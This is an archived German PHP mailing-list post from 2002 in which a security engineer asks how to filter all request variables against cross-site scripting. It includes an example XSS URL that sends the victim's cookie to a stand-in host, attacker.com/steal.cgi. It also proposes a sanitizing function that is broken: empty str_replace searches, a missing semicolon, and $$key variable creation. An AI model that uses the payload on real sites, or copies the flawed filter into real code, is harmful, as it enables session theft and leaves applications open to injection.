phpbar.de logo

Mailinglisten-Archive

[php] Cross-Site-Scripting (XSS) Schutz mit PHP

[php] Cross-Site-Scripting (XSS) Schutz mit PHP

Ivan Schmid php_(at)_phpcenter.de
Thu, 10 Oct 2002 16:16:57 +0200


Hallo Zusammen,

Als Schutz vor möglichen Cross-Site-Scripting (XSS) Angriffen auf unsere
Web-Applikation möchte ich im Header auf jeder Site ein Schutz einbauen.
Betroffen davon sind eigentlich alle möglichen Header Eingaben.( Get, Post,
Cookie, Session, Put ).

$_ENV, $_GET, $_POST, $_COOKIE, $_SERVER, $_SESSION

XCC Beispiel:
http://target.com?c="><script>document.location.replace('http://attacker.com
/steal.cgi?'+document.cookie);</script>&set=de


1. Die Frage:
***************
Wie könnte ich nun am einfachsten und schnellsten alle diese Variablen
checken und durch die Funktion make_clean säubern ?
Was sollte die Funktion make_clean sonst noch alles checken?
***************

2. Mein Vorschlag:
***************
function make_clean($value)
{
  $value = htmlspecialchars(addslashes($value)) // htmlspecialchars, wandelt
alle HTML-Tags um
  $value = str_replace("", "%2B", $value); //  %2B wird bei Javascripts
Injections gebraucht
  $value = str_replace("", "+", $value); //  + wird bei Javascripts
Injections gebraucht
  return $value;
}

foreach( $_GET as $key=>$value )
 {$$key = make_clean($value);}

foreach( $_POST as $key=>$value )
 {$$key = make_clean($value);}

foreach( $_SESSION as $key=>$value )
 {$$key = make_clean($value);}

foreach( $_COOKIE as $key=>$value )
 {$$key = make_clean($value);}


3. Das Problem:
***************
Wenn es nun keine _GET oder sonstwelche Variable gibt, kommt es zu einem
Parse-Error in der htmlspecialchars Funktion.
Wenn eine _GET oder sonstwelche Variable nicht ein String sondern ein Array
ist kommt es auch zu einem Parse-Error.
Die Extract-Funktion für Arrays möchte ich erst nach dem make_clean
verwenden.
Die Lösung ist nicht elegant!

Für gute Verbesserungsvorschläge wäre ich sehr dankbar.


Mit freundlichen Grüssen,
Ivan Schmid

Astalavista Group GmbH
Network Security Engineer

Company:  www.astalavistagroup.ch
Internet:  www.astalavistahosting.com / www.astalavista.net
PGP:      www.astalavista.ch/firma/pgp-public-schmid.asc


php::bar PHP Wiki   -   Listenarchive